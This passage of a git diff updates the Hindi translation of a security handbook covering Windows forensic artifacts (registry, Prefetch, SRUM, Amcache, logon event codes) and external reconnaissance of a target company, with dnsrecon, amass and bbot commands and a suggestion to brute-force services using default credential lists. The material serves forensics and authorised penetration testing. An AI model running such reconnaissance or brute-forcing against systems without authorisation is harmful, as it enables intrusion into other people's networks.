हैं। - [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): एक और GUI एप्लिकेशन जो लोड की गई रजिस्ट्री से महत्वपूर्ण जानकारी निकालने में सक्षम है। -### Recovering Deleted Element +### हटाए गए तत्व को पुनर्प्राप्त करना जब एक कुंजी को हटाया जाता है, तो इसे इस तरह से चिह्नित किया जाता है, लेकिन जब तक यह स्थान आवश्यक नहीं होता, तब तक इसे हटाया नहीं जाएगा। इसलिए, **Registry Explorer** जैसे उपकरणों का उपयोग करके इन हटाई गई कुंजियों को पुनर्प्राप्त करना संभव है। -### Last Write Time +### अंतिम लेखन समय -प्रत्येक Key-Value में एक **टाइमस्टैम्प** होता है जो यह दर्शाता है कि इसे अंतिम बार कब संशोधित किया गया था। +प्रत्येक कुंजी-मूल्य में एक **टाइमस्टैम्प** होता है जो यह दर्शाता है कि इसे अंतिम बार कब संशोधित किया गया था। ### SAM @@ -260,35 +260,36 @@ Windows Registry, जो व्यापक प्रणाली और उप `SAM\Domains\Account\Users` में आप उपयोगकर्ता नाम, RID, अंतिम लॉगिन, अंतिम विफल लॉगिन, लॉगिन काउंटर, पासवर्ड नीति और जब खाता बनाया गया था, प्राप्त कर सकते हैं। **हैश** प्राप्त करने के लिए आपको फ़ाइल/हाइव **SYSTEM** की भी **आवश्यकता** है। -### Interesting entries in the Windows Registry +### Windows रजिस्ट्री में दिलचस्प प्रविष्टियाँ + {{#ref}} interesting-windows-registry-keys.md {{#endref}} -## Programs Executed +## निष्पादित कार्यक्रम -### Basic Windows Processes +### बुनियादी Windows प्रक्रियाएँ -In [this post](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) you can learn about the common Windows processes to detect suspicious behaviours. +[इस पोस्ट](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) में आप संदिग्ध व्यवहार का पता लगाने के लिए सामान्य Windows प्रक्रियाओं के बारे में जान सकते हैं। -### Windows Recent APPs +### Windows हाल की ऐप्स -Registry `NTUSER.DAT` में पथ `Software\Microsoft\Current Version\Search\RecentApps` के अंदर आप **कार्यक्रम निष्पादित**, **अंतिम बार** इसे निष्पादित किया गया था, और **कितनी बार** इसे लॉन्च किया गया था, के बारे में जानकारी के साथ उपकुंजी पा सकते हैं। +रजिस्ट्री `NTUSER.DAT` के अंदर पथ `Software\Microsoft\Current Version\Search\RecentApps` में आप **निष्पादित एप्लिकेशन**, **अंतिम बार** इसे निष्पादित किया गया था, और **कितनी बार** इसे लॉन्च किया गया था, के बारे में जानकारी के साथ उपकुंजी पा सकते हैं। -### BAM (Background Activity Moderator) +### BAM (बैकग्राउंड गतिविधि मॉडरेटर) -आप रजिस्ट्री संपादक के साथ `SYSTEM` फ़ाइल खोल सकते हैं और पथ `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` के अंदर आप **प्रत्येक उपयोगकर्ता द्वारा निष्पादित कार्यक्रमों** के बारे में जानकारी पा सकते हैं (पथ में `{SID}` नोट करें) और **कब** उन्हें निष्पादित किया गया था (समय रजिस्ट्री के डेटा मान के अंदर है)। +आप रजिस्ट्री संपादक के साथ `SYSTEM` फ़ाइल खोल सकते हैं और पथ `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` के अंदर आप **प्रत्येक उपयोगकर्ता द्वारा निष्पादित एप्लिकेशन** के बारे में जानकारी पा सकते हैं (पथ में `{SID}` नोट करें) और **कब** उन्हें निष्पादित किया गया था (समय रजिस्ट्री के डेटा मान के अंदर है)। -### Windows Prefetch +### Windows प्रीफेच -Prefetching एक तकनीक है जो एक कंप्यूटर को चुपचाप **संसाधनों को लाने** की अनुमति देती है जो एक उपयोगकर्ता **निकट भविष्य में एक्सेस कर सकता है** ताकि संसाधनों को तेजी से एक्सेस किया जा सके। +प्रीफेचिंग एक तकनीक है जो एक कंप्यूटर को चुपचाप **आवश्यक संसाधनों को लाने** की अनुमति देती है जो एक उपयोगकर्ता **निकट भविष्य में एक्सेस कर सकता है** ताकि संसाधनों को तेजी से एक्सेस किया जा सके। -Windows prefetch में **निष्पादित कार्यक्रमों के कैश** बनाने की प्रक्रिया होती है ताकि उन्हें तेजी से लोड किया जा सके। ये कैश `.pf` फ़ाइलों के रूप में निम्नलिखित पथ में बनाए जाते हैं: `C:\Windows\Prefetch`। XP/VISTA/WIN7 में फ़ाइलों की सीमा 128 है और Win8/Win10 में 1024 फ़ाइलें हैं। +Windows प्रीफेच में **निष्पादित कार्यक्रमों के कैश** बनाने की प्रक्रिया होती है ताकि उन्हें तेजी से लोड किया जा सके। ये कैश `.pf` फ़ाइलों के रूप में निम्नलिखित पथ में बनाए जाते हैं: `C:\Windows\Prefetch`। XP/VISTA/WIN7 में फ़ाइलों की सीमा 128 है और Win8/Win10 में 1024 फ़ाइलें हैं। -फ़ाइल का नाम `{program_name}-{hash}.pf` के रूप में बनाया जाता है (हैश पथ और निष्पादन योग्य के तर्कों पर आधारित होता है)। W10 में ये फ़ाइलें संकुचित होती हैं। ध्यान दें कि फ़ाइल की केवल उपस्थिति यह संकेत देती है कि **कार्यक्रम को किसी बिंदु पर निष्पादित किया गया था**। +फ़ाइल का नाम `{program_name}-{hash}.pf` के रूप में बनाया जाता है (हैश पथ और निष्पादित फ़ाइल के तर्कों पर आधारित होता है)। W10 में ये फ़ाइलें संकुचित होती हैं। ध्यान दें कि फ़ाइल की केवल उपस्थिति यह दर्शाती है कि **कार्यक्रम को किसी बिंदु पर निष्पादित किया गया था**। -फ़ाइल `C:\Windows\Prefetch\Layout.ini` में **उन फ़ाइलों के फ़ोल्डरों के नाम होते हैं जो पूर्व-लाए गए हैं**। इस फ़ाइल में **निष्पादन की संख्या**, **निष्पादन की तिथियाँ** और **फ़ाइलें** **खुली** होती हैं जो कार्यक्रम द्वारा खोली गई हैं। +फ़ाइल `C:\Windows\Prefetch\Layout.ini` में **प्रीफेच की गई फ़ाइलों के फ़ोल्डरों के नाम** होते हैं। इस फ़ाइल में **निष्पादन की संख्या**, **निष्पादन की तिथियाँ** और **फ़ाइलें** **खुली** होती हैं जो कार्यक्रम द्वारा खोली गई हैं। इन फ़ाइलों की जांच करने के लिए आप टूल [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd) का उपयोग कर सकते हैं: ```bash @@ -303,7 +304,7 @@ Windows prefetch में **निष्पादित कार्यक् इन डेटाबेस में आप **कार्यक्रम का नाम**, **कार्यवाहियों की संख्या**, **खुले फ़ाइलें**, **एक्सेस किया गया वॉल्यूम**, **पूर्ण पथ**, **समय सीमा** और **टाइमस्टैम्प** पा सकते हैं। -आप इस जानकारी को [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/) उपकरण का उपयोग करके एक्सेस कर सकते हैं। +आप इस जानकारी को टूल [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/) का उपयोग करके एक्सेस कर सकते हैं। ### SRUM @@ -321,7 +322,7 @@ Windows prefetch में **निष्पादित कार्यक् यह जानकारी हर 60 मिनट में अपडेट होती है। -आप इस फ़ाइल से दिनांक प्राप्त करने के लिए [**srum_dump**](https://github.com/MarkBaggett/srum-dump) उपकरण का उपयोग कर सकते हैं। +आप इस फ़ाइल से तिथि प्राप्त करने के लिए टूल [**srum_dump**](https://github.com/MarkBaggett/srum-dump) का उपयोग कर सकते हैं। ```bash .\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum ``` @@ -346,11 +347,11 @@ The **AppCompatCache**, जिसे **ShimCache** के नाम से भ ### Amcache -**Amcache.hve** फ़ाइल मूल रूप से एक रजिस्ट्री हाइव है जो सिस्टम पर निष्पादित अनुप्रयोगों के बारे में विवरण लॉग करती है। यह आमतौर पर `C:\Windows\AppCompat\Programas\Amcache.hve` पर पाई जाती है। +**Amcache.hve** फ़ाइल मूल रूप से एक रजिस्ट्री हाइव है जो सिस्टम पर निष्पादित एप्लिकेशनों के बारे में विवरण लॉग करती है। यह आमतौर पर `C:\Windows\AppCompat\Programas\Amcache.hve` पर पाई जाती है। -यह फ़ाइल हाल ही में निष्पादित प्रक्रियाओं के रिकॉर्ड को संग्रहीत करने के लिए उल्लेखनीय है, जिसमें निष्पादन योग्य फ़ाइलों के पथ और उनके SHA1 हैश शामिल हैं। यह जानकारी सिस्टम पर अनुप्रयोगों की गतिविधि को ट्रैक करने के लिए अमूल्य है। +यह फ़ाइल हाल ही में निष्पादित प्रक्रियाओं के रिकॉर्ड को संग्रहीत करने के लिए उल्लेखनीय है, जिसमें निष्पादन योग्य फ़ाइलों के पथ और उनके SHA1 हैश शामिल हैं। यह जानकारी सिस्टम पर एप्लिकेशनों की गतिविधियों को ट्रैक करने के लिए अमूल्य है। -**Amcache.hve** से डेटा निकालने और विश्लेषण करने के लिए, [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) tool का उपयोग किया जा सकता है। निम्नलिखित कमांड **Amcache.hve** फ़ाइल की सामग्री को पार्स करने और परिणामों को CSV प्रारूप में आउटपुट करने के लिए AmcacheParser का उपयोग करने का एक उदाहरण है: +**Amcache.hve** से डेटा निकालने और विश्लेषण करने के लिए, [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) टूल का उपयोग किया जा सकता है। निम्नलिखित कमांड **Amcache.hve** फ़ाइल की सामग्री को पार्स करने और परिणामों को CSV प्रारूप में आउटपुट करने के लिए AmcacheParser का उपयोग करने का एक उदाहरण है: ```bash AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder ``` @@ -375,11 +376,11 @@ You can use the tool [**RecentFileCacheParse**](https://github.com/EricZimmerman ### **Windows Store** स्थापित एप्लिकेशन `\ProgramData\Microsoft\Windows\AppRepository\` में पाए जा सकते हैं।\ -इस रिपॉजिटरी में **लॉग** है जिसमें **प्रत्येक एप्लिकेशन जो सिस्टम में स्थापित है** **`StateRepository-Machine.srd`** डेटाबेस के अंदर है। +इस रिपॉजिटरी में **log** है जिसमें **प्रत्येक एप्लिकेशन जो सिस्टम में स्थापित है** का विवरण है, जो डेटाबेस **`StateRepository-Machine.srd`** के अंदर है। इस डेटाबेस के एप्लिकेशन तालिका के अंदर, "Application ID", "PackageNumber", और "Display Name" जैसे कॉलम पाए जा सकते हैं। ये कॉलम पूर्व-स्थापित और स्थापित एप्लिकेशनों के बारे में जानकारी रखते हैं और यह पता लगाया जा सकता है कि क्या कुछ एप्लिकेशन अनइंस्टॉल किए गए थे क्योंकि स्थापित एप्लिकेशनों के IDs अनुक्रमिक होने चाहिए। -यह भी संभव है कि रजिस्ट्री पथ में स्थापित एप्लिकेशन को **पाया जा सके**: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\ +यह भी संभव है कि रजिस्ट्री पथ में **स्थापित एप्लिकेशन** पाए जाएं: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\ और **अनइंस्टॉल** **एप्लिकेशन** में: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\` ## Windows Events @@ -390,7 +391,7 @@ Windows इवेंट्स के अंदर जो जानकारी - टाइमस्टैम्प (UTC + 0) - शामिल उपयोगकर्ता - शामिल होस्ट (hostname, IP) -- एक्सेस किए गए एसेट्स (फाइलें, फ़ोल्डर, प्रिंटर, सेवाएँ) +- एक्सेस किए गए एसेट्स (फाइलें, फ़ोल्डर, प्रिंटर, सेवाएं) लॉग `C:\Windows\System32\config` में Windows Vista से पहले और `C:\Windows\System32\winevt\Logs` में Windows Vista के बाद स्थित हैं। Windows Vista से पहले, इवेंट लॉग बाइनरी प्रारूप में थे और इसके बाद, वे **XML प्रारूप** में हैं और **.evtx** एक्सटेंशन का उपयोग करते हैं। @@ -404,58 +405,58 @@ Access events को सुरक्षा कॉन्फ़िगरेशन ### Key Event IDs for User Authentication: -- **EventID 4624**: Indicates a user successfully authenticated. -- **EventID 4625**: Signals an authentication failure. -- **EventIDs 4634/4647**: Represent user logoff events. -- **EventID 4672**: Denotes login with administrative privileges. +- **EventID 4624**: संकेत करता है कि एक उपयोगकर्ता सफलतापूर्वक प्रमाणित हुआ। +- **EventID 4625**: एक प्रमाणीकरण विफलता का संकेत देता है। +- **EventIDs 4634/4647**: उपयोगकर्ता लॉगऑफ इवेंट्स का प्रतिनिधित्व करते हैं। +- **EventID 4672**: प्रशासनिक विशेषाधिकारों के साथ लॉगिन को दर्शाता है। #### Sub-types within EventID 4634/4647: -- **Interactive (2)**: Direct user login. -- **Network (3)**: Access to shared folders. -- **Batch (4)**: Execution of batch processes. -- **Service (5)**: Service launches. -- **Proxy (6)**: Proxy authentication. -- **Unlock (7)**: Screen unlocked with a password. -- **Network Cleartext (8)**: Clear text password transmission, often from IIS. -- **New Credentials (9)**: Usage of different credentials for access. -- **Remote Interactive (10)**: Remote desktop or terminal services login. -- **Cache Interactive (11)**: Login with cached credentials without domain controller contact. -- **Cache Remote Interactive (12)**: Remote login with cached credentials. -- **Cached Unlock (13)**: Unlocking with cached credentials. +- **Interactive (2)**: प्रत्यक्ष उपयोगकर्ता लॉगिन। +- **Network (3)**: साझा फ़ोल्डरों तक पहुँच। +- **Batch (4)**: बैच प्रक्रियाओं का निष्पादन। +- **Service (5)**: सेवा लॉन्च। +- **Proxy (6)**: प्रॉक्सी प्रमाणीकरण। +- **Unlock (7)**: पासवर्ड के साथ स्क्रीन अनलॉक। +- **Network Cleartext (8)**: स्पष्ट पाठ पासवर्ड ट्रांसमिशन, अक्सर IIS से। +- **New Credentials (9)**: पहुँच के लिए विभिन्न प्रमाणपत्रों का उपयोग। +- **Remote Interactive (10)**: रिमोट डेस्कटॉप या टर्मिनल सेवाओं का लॉगिन। +- **Cache Interactive (11)**: डोमेन कंट्रोलर संपर्क के बिना कैश किए गए प्रमाणपत्रों के साथ लॉगिन। +- **Cache Remote Interactive (12)**: कैश किए गए प्रमाणपत्रों के साथ रिमोट लॉगिन। +- **Cached Unlock (13)**: कैश किए गए प्रमाणपत्रों के साथ अनलॉक करना। #### Status and Sub Status Codes for EventID 4625: -- **0xC0000064**: User name does not exist - Could indicate a username enumeration attack. -- **0xC000006A**: Correct user name but wrong password - Possible password guessing or brute-force attempt. -- **0xC0000234**: User account locked out - May follow a brute-force attack resulting in multiple failed logins. -- **0xC0000072**: Account disabled - Unauthorized attempts to access disabled accounts. -- **0xC000006F**: Logon outside allowed time - Indicates attempts to access outside of set login hours, a possible sign of unauthorized access. -- **0xC0000070**: Violation of workstation restrictions - Could be an attempt to login from an unauthorized location. -- **0xC0000193**: Account expiration - Access attempts with expired user accounts. -- **0xC0000071**: Expired password - Login attempts with outdated passwords. -- **0xC0000133**: Time sync issues - Large time discrepancies between client and server may be indicative of more sophisticated attacks like pass-the-ticket. -- **0xC0000224**: Mandatory password change required - Frequent mandatory changes might suggest an attempt to destabilize account security. -- **0xC0000225**: Indicates a system bug rather than a security issue. -- **0xC000015b**: Denied logon type - Access attempt with unauthorized logon type, such as a user trying to execute a service logon. +- **0xC0000064**: उपयोगकर्ता नाम मौजूद नहीं है - यह एक उपयोगकर्ता नाम enumeration हमले का संकेत दे सकता है। +- **0xC000006A**: सही उपयोगकर्ता नाम लेकिन गलत पासवर्ड - संभावित पासवर्ड अनुमान या ब्रूट-फोर्स प्रयास। +- **0xC0000234**: उपयोगकर्ता खाता लॉक हो गया - कई विफल लॉगिन के परिणामस्वरूप ब्रूट-फोर्स हमले के बाद हो सकता है। +- **0xC0000072**: खाता निष्क्रिय - निष्क्रिय खातों तक पहुँच के लिए अनधिकृत प्रयास। +- **0xC000006F**: अनुमति समय के बाहर लॉगिन - सेट लॉगिन घंटों के बाहर पहुँच के प्रयासों का संकेत, अनधिकृत पहुँच का संभावित संकेत। +- **0xC0000070**: कार्यस्थल प्रतिबंधों का उल्लंघन - अनधिकृत स्थान से लॉगिन का प्रयास हो सकता है। +- **0xC0000193**: खाता समाप्ति - समाप्त उपयोगकर्ता खातों के साथ पहुँच के प्रयास। +- **0xC0000071**: समाप्त पासवर्ड - पुरानी पासवर्ड के साथ लॉगिन प्रयास। +- **0xC0000133**: समय समन्वय मुद्दे - क्लाइंट और सर्वर के बीच बड़े समय के अंतर अधिक जटिल हमलों जैसे पास-दी-टिकट का संकेत दे सकते हैं। +- **0xC0000224**: अनिवार्य पासवर्ड परिवर्तन की आवश्यकता - बार-बार अनिवार्य परिवर्तन सुरक्षा को अस्थिर करने के प्रयास का सुझाव दे सकते हैं। +- **0xC0000225**: सुरक्षा मुद्दे के बजाय एक सिस्टम बग का संकेत देता है। +- **0xC000015b**: अस्वीकृत लॉगिन प्रकार - अनधिकृत लॉगिन प्रकार के साथ पहुँच का प्रयास, जैसे कि एक उपयोगकर्ता सेवा लॉगिन निष्पादित करने की कोशिश कर रहा है। #### EventID 4616: -- **Time Change**: Modification of the system time, could obscure the timeline of events. +- **Time Change**: सिस्टम समय में संशोधन, जो घटनाओं की समयरेखा को अस्पष्ट कर सकता है। #### EventID 6005 and 6006: -- **System Startup and Shutdown**: EventID 6005 indicates the system starting up, while EventID 6006 marks it shutting down. +- **System Startup and Shutdown**: EventID 6005 सिस्टम के चालू होने का संकेत देता है, जबकि EventID 6006 इसे बंद करने का संकेत देता है। #### EventID 1102: -- **Log Deletion**: Security logs being cleared, which is often a red flag for covering up illicit activities. +- **Log Deletion**: सुरक्षा लॉग को साफ करना, जो अक्सर अवैध गतिविधियों को छिपाने के लिए एक लाल झंडा होता है। #### EventIDs for USB Device Tracking: -- **20001 / 20003 / 10000**: USB device first connection. -- **10100**: USB driver update. -- **EventID 112**: Time of USB device insertion. +- **20001 / 20003 / 10000**: USB डिवाइस का पहला कनेक्शन। +- **10100**: USB ड्राइवर अपडेट। +- **EventID 112**: USB डिवाइस के डालने का समय। For practical examples on simulating these login types and credential dumping opportunities, refer to [Altered Security's detailed guide](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them). diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/README.md b/src/generic-methodologies-and-resources/external-recon-methodology/README.md index a15fcb62a..002503afb 100644 --- a/src/generic-methodologies-and-resources/external-recon-methodology/README.md +++ b/src/generic-methodologies-and-resources/external-recon-methodology/README.md @@ -4,11 +4,11 @@ ## Assets discoveries -> तो आपको कहा गया था कि किसी कंपनी से संबंधित सब कुछ दायरे के भीतर है, और आप यह पता लगाना चाहते हैं कि इस कंपनी के पास वास्तव में क्या है। +> तो आपको कहा गया था कि किसी कंपनी से संबंधित सब कुछ दायरे में है, और आप यह पता लगाना चाहते हैं कि इस कंपनी के पास वास्तव में क्या है। -इस चरण का लक्ष्य **मुख्य कंपनी द्वारा स्वामित्व वाली सभी कंपनियों** और फिर इन कंपनियों के **संपत्तियों** को प्राप्त करना है। ऐसा करने के लिए, हम: +इस चरण का लक्ष्य **मुख्य कंपनी द्वारा स्वामित्व वाली सभी कंपनियों** और फिर इन कंपनियों के सभी **संपत्तियों** को प्राप्त करना है। ऐसा करने के लिए, हम: -1. मुख्य कंपनी के अधिग्रहणों को खोजेंगे, इससे हमें दायरे के भीतर की कंपनियाँ मिलेंगी। +1. मुख्य कंपनी के अधिग्रहणों को खोजेंगे, इससे हमें दायरे में कंपनियाँ मिलेंगी। 2. प्रत्येक कंपनी का ASN (यदि कोई हो) खोजेंगे, इससे हमें प्रत्येक कंपनी द्वारा स्वामित्व वाले IP रेंज मिलेंगे। 3. पहले वाले से संबंधित अन्य प्रविष्टियों (संस्थान के नाम, डोमेन...) की खोज के लिए रिवर्स Whois लुकअप का उपयोग करेंगे (यह पुनरावृत्त रूप से किया जा सकता है)। 4. अन्य संपत्तियों की खोज के लिए शोडान `org` और `ssl` फ़िल्टर जैसी अन्य तकनीकों का उपयोग करेंगे (यह `ssl` ट्रिक पुनरावृत्त रूप से की जा सकती है)। @@ -19,16 +19,16 @@ एक विकल्प है [https://www.crunchbase.com/](https://www.crunchbase.com) पर जाना, **मुख्य कंपनी** के लिए **खोज** करना, और "**अधिग्रहण**" पर **क्लिक** करना। वहाँ आप मुख्य कंपनी द्वारा अधिग्रहित अन्य कंपनियाँ देखेंगे।\ दूसरा विकल्प है मुख्य कंपनी के **विकिपीडिया** पृष्ठ पर जाना और **अधिग्रहण** के लिए खोज करना। -> ठीक है, इस बिंदु पर आपको दायरे के भीतर सभी कंपनियों के बारे में पता होना चाहिए। चलिए उनके संपत्तियों को खोजने का तरीका समझते हैं। +> ठीक है, इस बिंदु पर आपको दायरे में सभी कंपनियों के बारे में पता होना चाहिए। चलिए उनके संपत्तियों को खोजने का तरीका समझते हैं। ### **ASNs** एक स्वायत्त प्रणाली संख्या (**ASN**) एक **विशिष्ट संख्या** है जो **इंटरनेट असाइन नंबर प्राधिकरण (IANA)** द्वारा एक **स्वायत्त प्रणाली** (AS) को असाइन की जाती है।\ एक **AS** में **IP पते** के **ब्लॉक** होते हैं जिनकी बाहरी नेटवर्क तक पहुँचने के लिए स्पष्ट रूप से परिभाषित नीति होती है और इसे एक ही संगठन द्वारा प्रशासित किया जाता है लेकिन यह कई ऑपरेटरों से मिलकर बन सकता है। -यह जानना दिलचस्प है कि क्या **कंपनी ने कोई ASN असाइन किया है** ताकि इसके **IP रेंज** को खोजा जा सके। यह **दायरे** के भीतर सभी **होस्ट्स** के खिलाफ एक **कमजोरी परीक्षण** करना और इन IPs के भीतर **डोमेन** की खोज करना दिलचस्प होगा।\ +यह जानना दिलचस्प है कि क्या **कंपनी ने कोई ASN असाइन किया है** ताकि इसके **IP रेंज** को खोजा जा सके। यह **दायरे** के भीतर सभी **होस्ट** के खिलाफ **कमजोरी परीक्षण** करना और इन IPs के भीतर **डोमेन** की खोज करना दिलचस्प होगा।\ आप कंपनी के **नाम**, **IP** या **डोमेन** द्वारा [**https://bgp.he.net/**](https://bgp.he.net)** पर **खोज** कर सकते हैं।\ -**कंपनी के क्षेत्र के आधार पर ये लिंक अधिक डेटा इकट्ठा करने के लिए उपयोगी हो सकते हैं:** [**AFRINIC**](https://www.afrinic.net) **(अफ्रीका),** [**Arin**](https://www.arin.net/about/welcome/region/)**(उत्तरी अमेरिका),** [**APNIC**](https://www.apnic.net) **(एशिया),** [**LACNIC**](https://www.lacnic.net) **(लैटिन अमेरिका),** [**RIPE NCC**](https://www.ripe.net) **(यूरोप)। वैसे, शायद सभी** उपयोगी जानकारी **(IP रेंज और Whois)** पहले लिंक में पहले से ही दिखाई देती है। +**कंपनी के क्षेत्र के आधार पर ये लिंक अधिक डेटा इकट्ठा करने के लिए उपयोगी हो सकते हैं:** [**AFRINIC**](https://www.afrinic.net) **(अफ्रीका),** [**Arin**](https://www.arin.net/about/welcome/region/)**(उत्तर अमेरिका),** [**APNIC**](https://www.apnic.net) **(एशिया),** [**LACNIC**](https://www.lacnic.net) **(लैटिन अमेरिका),** [**RIPE NCC**](https://www.ripe.net) **(यूरोप)। वैसे, शायद सभी** उपयोगी जानकारी **(IP रेंज और Whois)** पहले लिंक में पहले से ही दिखाई देती है। ```bash #You can try "automate" this with amass, but it's not very recommended amass intel -org tesla @@ -51,26 +51,26 @@ bbot -t tesla.com -f subdomain-enum [INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+ ``` -आप एक संगठन के IP रेंज भी [http://asnlookup.com/](http://asnlookup.com) का उपयोग करके ढूंढ सकते हैं (इसमें मुफ्त API है)।\ -आप [http://ipv4info.com/](http://ipv4info.com) का उपयोग करके एक डोमेन का IP और ASN ढूंढ सकते हैं। +आप एक संगठन के IP रेंज भी [http://asnlookup.com/](http://asnlookup.com) का उपयोग करके पा सकते हैं (इसमें मुफ्त API है)।\ +आप [http://ipv4info.com/](http://ipv4info.com) का उपयोग करके एक डोमेन का IP और ASN पा सकते हैं। ### **कमजोरियों की तलाश** इस बिंदु पर हम **स्कोप के अंदर सभी संपत्तियों** को जानते हैं, इसलिए यदि आपको अनुमति है तो आप सभी होस्ट पर कुछ **कमजोरी स्कैनर** (Nessus, OpenVAS) लॉन्च कर सकते हैं।\ -इसके अलावा, आप कुछ [**पोर्ट स्कैन**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **या** shodan **जैसे सेवाओं का उपयोग करके** खुले पोर्ट **ढूंढ सकते हैं और जो कुछ भी आप पाते हैं उसके आधार पर आपको इस पुस्तक में देखना चाहिए कि कैसे कई संभावित सेवाओं का पेंटेस्ट करना है।**\ -**इसके अलावा, यह उल्लेख करना भी सार्थक हो सकता है कि आप कुछ** डिफ़ॉल्ट उपयोगकर्ता नाम **और** पासवर्ड **सूचियाँ तैयार कर सकते हैं और** [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) के साथ सेवाओं को** ब्रूटफोर्स **करने की कोशिश कर सकते हैं।** +इसके अलावा, आप कुछ [**पोर्ट स्कैन**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **या** shodan **जैसी सेवाओं का उपयोग करके** खुले पोर्ट **खोज सकते हैं और जो कुछ भी आप पाते हैं उसके आधार पर आपको** इस पुस्तक में देखना चाहिए कि कैसे कई संभावित सेवाओं का पेंटेस्ट करना है।\ +**इसके अलावा, यह उल्लेख करना भी सार्थक हो सकता है कि आप कुछ** डिफ़ॉल्ट उपयोगकर्ता नाम **और** पासवर्ड **सूचियाँ तैयार कर सकते हैं और** [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) के साथ सेवाओं को ब्रूटफोर्स करने की कोशिश कर सकते हैं। ## डोमेन > हम स्कोप के अंदर सभी कंपनियों और उनकी संपत्तियों को जानते हैं, अब स्कोप के अंदर डोमेन खोजने का समय है। -_कृपया ध्यान दें कि निम्नलिखित प्रस्तावित तकनीकों में आप उपडोमेन भी ढूंढ सकते हैं और उस जानकारी को कम नहीं आंकना चाहिए।_ +_कृपया ध्यान दें कि निम्नलिखित प्रस्तावित तकनीकों में आप उपडोमेन भी पा सकते हैं और उस जानकारी को कम नहीं आंकना चाहिए।_ -सबसे पहले, आपको प्रत्येक कंपनी के **मुख्य डोमेन**(s) की तलाश करनी चाहिए। उदाहरण के लिए, _Tesla Inc._ के लिए _tesla.com_ होगा। +सबसे पहले, आपको प्रत्येक कंपनी के **मुख्य डोमेन**(s) की तलाश करनी चाहिए। उदाहरण के लिए, _Tesla Inc._ के लिए यह _tesla.com_ होगा। ### **रिवर्स DNS** -जैसा कि आपने डोमेन के सभी IP रेंज ढूंढ लिए हैं, आप उन **IPs पर अधिक डोमेन खोजने के लिए** **रिवर्स DNS लुकअप** करने की कोशिश कर सकते हैं। पीड़ित के कुछ DNS सर्वर या कुछ प्रसिद्ध DNS सर्वर (1.1.1.1, 8.8.8.8) का उपयोग करने की कोशिश करें। +जैसा कि आपने डोमेन के सभी IP रेंज पाए हैं, आप उन **IPs पर अधिक डोमेन खोजने के लिए** **रिवर्स DNS लुकअप** करने का प्रयास कर सकते हैं। पीड़ित के किसी DNS सर्वर या किसी प्रसिद्ध DNS सर्वर (1.1.1.1, 8.8.8.8) का उपयोग करने का प्रयास करें। ```bash dnsrecon -r -n #DNS reverse of all of the addresses dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns @@ -78,11 +78,11 @@ dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns ``` इसका काम करने के लिए, व्यवस्थापक को मैन्युअल रूप से PTR सक्षम करना होगा।\ -आप इस जानकारी के लिए एक ऑनलाइन टूल का भी उपयोग कर सकते हैं: [http://ptrarchive.com/](http://ptrarchive.com) +आप इस जानकारी के लिए एक ऑनलाइन टूल भी उपयोग कर सकते हैं: [http://ptrarchive.com/](http://ptrarchive.com) ### **Reverse Whois (loop)** -एक **whois** में आप बहुत सारी दिलचस्प **जानकारी** पा सकते हैं जैसे **संस्थान का नाम**, **पता**, **ईमेल**, फोन नंबर... लेकिन जो और भी दिलचस्प है वह यह है कि आप **कंपनी से संबंधित अधिक संपत्तियाँ** पा सकते हैं यदि आप **इनमें से किसी भी क्षेत्र द्वारा रिवर्स Whois लुकअप करते हैं** (उदाहरण के लिए अन्य whois रजिस्ट्रियों जहां वही ईमेल दिखाई देता है)।\ +एक **whois** में आप बहुत सारी दिलचस्प **जानकारी** पा सकते हैं जैसे **संस्थान का नाम**, **पता**, **ईमेल**, फोन नंबर... लेकिन जो और भी दिलचस्प है वह यह है कि आप **कंपनी से संबंधित अधिक संपत्तियाँ** पा सकते हैं यदि आप **इनमें से किसी भी क्षेत्र द्वारा रिवर्स Whois लुकअप करते हैं** (उदाहरण के लिए अन्य Whois रजिस्ट्रियाँ जहाँ वही ईमेल दिखाई देता है)।\ आप ऑनलाइन टूल का उपयोग कर सकते हैं जैसे: - [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **मुफ्त** @@ -100,7 +100,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns ### **Trackers** -यदि आप 2 अलग-अलग पृष्ठों में **एक ही ट्रैकर का एक ही ID** पाते हैं, तो आप मान सकते हैं कि **दोनों पृष्ठ** **एक ही टीम द्वारा प्रबंधित** हैं।\ +यदि आप 2 विभिन्न पृष्ठों में **एक ही ट्रैकर का एक ही ID** पाते हैं, तो आप मान सकते हैं कि **दोनों पृष्ठ** **एक ही टीम द्वारा प्रबंधित** हैं।\ उदाहरण के लिए, यदि आप कई पृष्ठों पर वही **Google Analytics ID** या वही **Adsense ID** देखते हैं। कुछ पृष्ठ और उपकरण हैं जो आपको इन ट्रैकर्स द्वारा खोजने की अनुमति देते हैं और अधिक: @@ -113,7 +113,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 